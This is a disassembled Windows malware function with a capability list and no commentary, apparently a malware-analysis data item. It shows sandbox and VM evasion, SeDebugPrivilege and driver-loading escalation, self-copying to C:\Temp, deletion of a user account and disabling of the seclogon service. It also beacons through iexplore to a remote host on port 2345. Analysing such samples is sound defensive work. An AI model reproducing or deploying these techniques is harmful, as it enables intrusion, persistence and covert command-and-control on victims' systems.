Function at 0x401c30
Capabilities:
Acquire debug privileges
Check os version
Create process on windows
Delete file
Delete user account
Get file size
Modify service
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x92c
mov eax, dword [0x40d004]
xor eax, esp
mov dword [esp + 0x928], eax
push ebx
push esi
push edi
mov esi, str.VBOXTRAY.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VBOXSERVICE.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VMWAREUSER.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VMWARYTRAY.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VMUPGRADEHELPER.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VMTOOLSD.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
mov esi, str.VMACTHLP.EXE
call fcn.00401870
test eax, eax
jne 0x402b20
xor ebx, ebx
push ebx
push str.C:Program_FilesVMwareVMware_ToolsVMwareUser.exe
call fcn.0040905d
add esp, 8
test eax, eax
je 0x402b20
push ebx
push str.C:Program_FilesVMwareVMware_ToolsVMwareTray.exe
call fcn.0040905d
add esp, 8
test eax, eax
je 0x402b20
mov esi, dword [ebp + 0x10]
mov ecx, 0x40b92c
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401d29
cmp dx, bx
je 0x401d25
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401d29
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x401d03
xor eax, eax
jmp 0x401d2e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4021c0
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push str..NtHook
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401d5d
test eax, eax
jne 0x402b7a
call fcn.00401350
xor eax, eax
mov byte [esp + 0xd8], 0
mov dword [esp + 0xd9], eax
mov dword [esp + 0xdd], eax
mov word [esp + 0xe1], ax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00402d52
add esp, 4
call fcn.00402d64
cdq
mov ecx, 0x1a
idiv ecx
push 0x32
add dl, 0x61
mov byte [esp + esi + 0xdc], dl
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x401d84
xor edx, edx
push 0x2a
push edx
lea eax, [esp + 0xee]
push eax
mov word [esp + 0xf0], dx
call fcn.00407160
lea eax, [esp + 0xe4]
add esp, 0xc
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401de0
sub eax, edx
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0xe8]
push edx
lea ebx, [esp + 0xe0]
call fcn.00401000
add esp, 8
xor ebx, ebx
xor eax, eax
jmp 0x401e10
movzx ecx, word [eax + str.C:Temp_]
mov word [esp + eax + 0x110], cx
add eax, 2
cmp cx, bx
jne 0x401e10
lea eax, [esp + 0xe4]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401e30
lea edi, [esp + 0x110]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401e50
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401e50
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x110]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401e76
mov ecx, dword [str..exe]
mov edx, dword [0x40b968]
mov dword [eax], ecx
mov cx, word [0x40b96c]
mov dword [eax + 4], edx
lea edx, [esp + 0x110]
push edx
mov word [eax + 8], cx
call fcn.00401ac0
add esp, 4
xor eax, eax
movzx ecx, word [eax + str.C:_tempCreateProcess.exe]
mov word [esp + eax + 0x728], cx
add eax, 2
cmp cx, bx
jne 0x401eb0
lea eax, [esp + 0x110]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401ed0
lea edi, [esp + 0x728]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401ef0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401ef0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x728]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401f16
mov ecx, dword [str._ups_run]
mov edx, dword [0x40b9ac]
mov dword [eax], ecx
mov ecx, dword [0x40b9b0]
mov dword [eax + 4], edx
mov edx, dword [0x40b9b4]
mov dword [eax + 8], ecx
mov cx, word [0x40b9b8]
mov dword [eax + 0xc], edx
push 0x40
lea edx, [esp + 0x80]
push ebx
push edx
mov word [eax + 0x10], cx
mov dword [esp + 0x84], ebx
call fcn.00407160
add esp, 0xc
xor eax, eax
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], eax
lea eax, [esp + 0xc4]
push eax
lea ecx, [esp + 0x7c]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x748]
push edx
push ebx
mov dword [esp + 0xec], ebx
call dword [0x459870]
mov esi, eax
mov eax, dword [esp + 0xc4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x401fdb
mov ecx, dword [esp + 0xc8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc4]
push edx
call esi
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x401ff0
movzx ecx, word [eax + str.C:Tempi_]
mov word [esp + eax + 0x318], cx
add eax, 2
cmp cx, bx
jne 0x401ff0
lea eax, [esp + 0xe4]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402010
lea edi, [esp + 0x318]
sub eax, edx
add edi, 0xfffffffe
jmp 0x402030
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402030
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x318]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402056
mov ecx, dword [str..exe]
mov edx, dword [0x40b968]
mov dword [eax], ecx
mov cx, word [0x40b96c]
mov dword [eax + 4], edx
lea edx, [esp + 0x318]
push edx
mov word [eax + 8], cx
call fcn.00401ac0
add esp, 4
xor eax, eax
movzx ecx, word [eax + str.C:_tempCreateProcess.exe]
mov word [esp + eax + 0x520], cx
add eax, 2
cmp cx, bx
jne 0x402090
lea eax, [esp + 0x318]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4020b0
lea edi, [esp + 0x520]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4020d0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4020d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x520]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x4020f6
mov ecx, dword [str._ups_ins]
mov edx, dword [0x40b9d8]
mov dword [eax], ecx
mov ecx, dword [0x40b9dc]
mov dword [eax + 4], edx
mov edx, dword [0x40b9e0]
mov dword [eax + 8], ecx
mov cx, word [0x40b9e4]
mov dword [eax + 0xc], edx
push 0x40
lea edx, [esp + 0x38]
push ebx
push edx
mov word [eax + 0x10], cx
mov dword [esp + 0x3c], ebx
call fcn.00407160
add esp, 0xc
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x540]
push edx
push ebx
mov dword [esp + 0x3c], ebx
call dword [0x459870]
mov esi, eax
mov eax, dword [esp + 0x14]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x40219d
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call esi
lea eax, [esp + 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x40b944
push ebx
call sub.NETAPI32.dll_NetUserDel
jmp 0x401d36
mov ecx, str.ups_run
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4021ed
cmp dx, bx
je 0x4021e9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4021ed
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x4021c7
xor eax, eax
jmp 0x4021f2
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4022ad
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.C:_tempCreateProcess.exe]
mov word [esp + eax + 0x520], cx
add eax, 2
cmp cx, bx
jne 0x402200
lea edi, [esp + 0x520]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x402221
mov ecx, 0x15
mov esi, str.C:windows_system32ipconfig.exe__release
push 0x40
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x38]
push ebx
push ecx
mov dword [esp + 0x3c], ebx
call fcn.00407160
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea ecx, [esp + 0x540]
push ecx
push ebx
mov dword [esp + 0x3c], ebx
call dword [0x459870]
mov edx, dword [esp + 0x14]
push 0xffffffffffffffff
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x4022a6
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, str.ups_ins
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4022da
cmp dx, bx
je 0x4022d6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4022da
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x4022b4
xor eax, eax
jmp 0x4022df
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40269e
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.C:TempNtHook.sys]
mov word [eax + 0x459468], cx
add eax, 2
cmp cx, bx
jne 0x4022f0
lea edx, [esp + 0x24]
push edx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x24]
push eax
mov ecx, str.SeDebugPrivilege
call fcn.00401820
add esp, 4
push 0x114
lea ecx, [esp + 0x31c]
push ebx
push ecx
call fcn.00407160
add esp, 0xc
lea edx, [esp + 0x318]
push edx
mov dword [esp + 0x31c], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0x31c], 6
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
setb byte [esp + 0x13]
xor eax, eax
mov byte [esp + 0xc4], bl
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc5], eax
mov dword [esp + 0xc9], eax
mov word [esp + 0xcd], ax
xor esi, esi
call edi
push eax
call fcn.00402d52
add esp, 4
call fcn.00402d64
cdq
mov ecx, 0x1a
idiv ecx
push 0x32
add dl, 0x61
mov byte [esp + esi + 0xc8], dl
call ebx
inc esi
cmp esi, 0xa
jl 0x402395
xor edx, edx
push 0x2a
push edx
lea eax, [esp + 0xee]
push eax
mov word [esp + 0xf0], dx
call fcn.00407160
lea eax, [esp + 0xd0]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023e8
sub eax, edx
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0xe8]
push edx
lea ebx, [esp + 0xcc]
call fcn.00401000
add esp, 8
xor ebx, ebx
xor eax, eax
movzx ecx, word [eax + str.C:Temp_]
mov word [eax + 0x459468], cx
add eax, 2
cmp cx, bx
jne 0x402410
lea eax, [esp + 0xe4]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402430
mov edi, 0x459468
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402445
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, 0x459468
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402470
mov ecx, dword [str..sys]
mov edx, dword [0x40babc]
mov dword [eax], ecx
mov cx, word [0x40bac0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
call fcn.00401450
cmp byte [esp + 0x13], bl
je 0x402554
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.RegistryMachineSYSTEMCurrentControlSetServices_]
mov word [esp + eax + 0x110], cx
add eax, 2
cmp cx, bx
jne 0x4024b0
lea eax, [esp + 0x110]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x4024d1
mov edx, dword [str.NtHook]
mov ecx, dword [0x40bb38]
mov dword [eax], edx
mov edx, dword [0x40bb3c]
mov dword [eax + 4], ecx
mov cx, word [0x40bb40]
mov dword [eax + 8], edx
lea edx, [esp + 0x110]
mov word [eax + 0xc], cx
push edx
lea eax, [esp + 0xdc]
push eax
call dword [0x459878]
mov ecx, dword [esp + 0x24]
push ecx
mov ecx, str.SeLoadDriverPrivilege
call fcn.00401820
add esp, 4
call fcn.00401060
lea edx, [esp + 0xd8]
push edx
call dword [0x459880]
mov esi, eax
add esp, 4
lea eax, [esp + 0xd8]
push eax
call dword [0x45986c]
cmp esi, ebx
je 0x402560
lea eax, [esp + 0xe4]
call fcn.00401770
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push str..NtHook
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x402654
cmp eax, ebx
je 0x402654
push 0x459468
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00401710
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + str.C:_tempCreateProcess.exe]
mov word [esp + eax + 0x520], cx
add eax, 2
cmp cx, bx
jne 0x4025a0
lea edi, [esp + 0x520]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x4025c1
mov ecx, 0x14
mov esi, str.C:windows_system32ipconfig.exe__renew
push 0x40
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x38]
push ebx
push ecx
mov dword [esp + 0x3c], ebx
call fcn.00407160
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea ecx, [esp + 0x540]
push ecx
push ebx
mov dword [esp + 0x3c], ebx
call dword [0x459870]
mov edx, dword [esp + 0x14]
push 0xffffffffffffffff
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x402646
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
push ebx
push str.rundll32.exe_safemon.dll_hook2
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x402697
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
mov esi, eax
push str.seclogon
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 3
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x402697
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.c:Temp
call fcn.00409075
add esp, 4
call fcn.004015b0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [esp + 0xc4], bl
mov dword [esp + 0xc5], eax
mov dword [esp + 0xc9], eax
mov dword [esp + 0xcd], eax
mov dword [esp + 0xd1], eax
mov byte [esp + 0xd5], al
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00402d52
add esp, 4
call fcn.00402d64
cdq
mov ecx, 0x1a
idiv ecx
push 0x14
mov ebx, edx
call edi
add bl, 0x61
push 0x1e
mov byte [esp + esi + 0xc8], bl
call edi
inc esi
cmp esi, 0x10
jl 0x4026e4
push 0x104
lea edx, [esp + 0x524]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [esp + 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
mov dword [esp + 0xe0], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
mov dword [esp + 0x2c], edi
call fcn.00402c88
add esp, 4
push 0
lea ecx, [esp + 0x28]
push ecx
push edi
push eax
push esi
mov dword [esp + 0x40], eax
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor edx, edx
push 0x2a
push edx
lea eax, [esp + 0xee]
push eax
mov word [esp + 0xf0], dx
call fcn.00407160
lea eax, [esp + 0xd0]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4027b3
sub eax, edx
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0xe8]
push edx
lea ebx, [esp + 0xcc]
call fcn.00401000
add esp, 8
xor ebx, ebx
xor eax, eax
jmp 0x4027e0
movzx ecx, word [eax + str.C:Temp_]
mov word [esp + eax + 0x318], cx
add eax, 2
cmp cx, bx
jne 0x4027e0
lea eax, [esp + 0xe4]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402800
lea edi, [esp + 0x318]
sub eax, edx
add edi, 0xfffffffe
jmp 0x402820
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402820
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x318]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402846
mov ecx, dword [str..exe]
mov edx, dword [0x40b968]
push ebx
push 0x80
push 2
push ebx
mov dword [eax], ecx
mov cx, word [0x40b96c]
push ebx
mov dword [eax + 4], edx
push 0x40000000
lea edx, [esp + 0x330]
push edx
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, dword [esp + 0x2c]
mov edi, eax
mov eax, dword [esp + 0xc4]
mov dword [esi + 0x4a], eax
mov ecx, dword [esp + 0xc8]
mov dword [esi + 0x4e], ecx
mov edx, dword [esp + 0xcc]
mov dword [esi + 0x52], edx
mov eax, dword [esp + 0xd0]
mov dword [esi + 0x56], eax
mov ecx, dword [esp + 0xc4]
mov eax, dword [esp + 0x28]
mov dword [eax + esi - 0x2a], ecx
mov edx, dword [esp + 0xc8]
mov dword [eax + esi - 0x26], edx
mov ecx, dword [esp + 0xcc]
mov dword [eax + esi - 0x22], ecx
mov edx, dword [esp + 0xd0]
push ebx
lea ecx, [esp + 0x28]
push ecx
push eax
push esi
push edi
mov dword [eax + esi - 0x1e], edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.00402bab
mov edx, dword [esp + 0xdc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push edx
call esi
push edi
call esi
lea eax, [esp + 0x318]
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402920
mov ecx, dword [str._run]
mov edx, dword [0x40b9ec]
mov dword [eax], ecx
mov cx, word [0x40b9f0]
mov dword [eax + 4], edx
push 0x40
lea edx, [esp + 0x38]
push ebx
push edx
mov word [eax + 8], cx
mov dword [esp + 0x3c], ebx
call fcn.00407160
add esp, 0xc
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x338]
push edx
push ebx
mov dword [esp + 0x3c], ebx
call dword [0x459870]
test eax, eax
je 0x4029a0
mov eax, dword [esp + 0x18]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
call fcn.00401950
push 0x1ff
push ebx
cmp byte [0x459868], bl
je 0x402a01
lea edx, [esp + 0x119]
push edx
call fcn.00407160
mov ecx, 0xc
mov esi, str.C:Program_FilesInternet_Exploreriexplore.exe
lea edi, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x11c]
add esp, 0xc
dec edi
nop
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4029e0
mov ecx, 9
mov esi, str.http:__xytets.com:2345_t.asp_oswangba
rep movsd dword es:[edi], dword [esi]
push ebx
lea eax, [esp + 0x114]
movsw word es:[edi], word [esi]
push eax
jmp 0x402a4d
lea ecx, [esp + 0x119]
push ecx
call fcn.00407160
mov ecx, 0xc
mov esi, str.C:Program_FilesInternet_Exploreriexplore.exe
lea edi, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x11c]
add esp, 0xc
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x402a30
mov ecx, 9
mov esi, str.http:__xytets.com:2345_t.asp_oshome
push ebx
lea edx, [esp + 0x114]
rep movsd dword es:[edi], dword [esi]
push edx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
jmp 0x402a60
movzx ecx, word [eax + str.C:Temp_]
mov word [eax + 0x459468], cx
add eax, 2
cmp cx, bx
jne 0x402a60
lea eax, [esp + 0xe4]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402a80
mov edi, 0x459468
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402a95
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, 0x459468
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402ac0
mov ecx, dword [str..sys]
mov edx, dword [0x40babc]
mov dword [eax], ecx
mov cx, word [0x40bac0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
call fcn.00401450
lea eax, [esp + 0xe4]
call fcn.00401770
test al, al
je 0x402b19
push 0x459468
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00401710
push ebx
push str.rundll32.exe_safemon.dll_hook2
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1ff
lea edx, [esp + 0x115]
push 0
push edx
call fcn.00407160
mov ecx, 0xc
mov esi, str.C:Program_FilesInternet_Exploreriexplore.exe
lea edi, [esp + 0x11c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x11c]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b53
mov ecx, 0xd
mov esi, str.http:__xytets.com:2345_t.asp_verxxxmac0_0_0_0osvm
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0
lea eax, [esp + 0x114]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]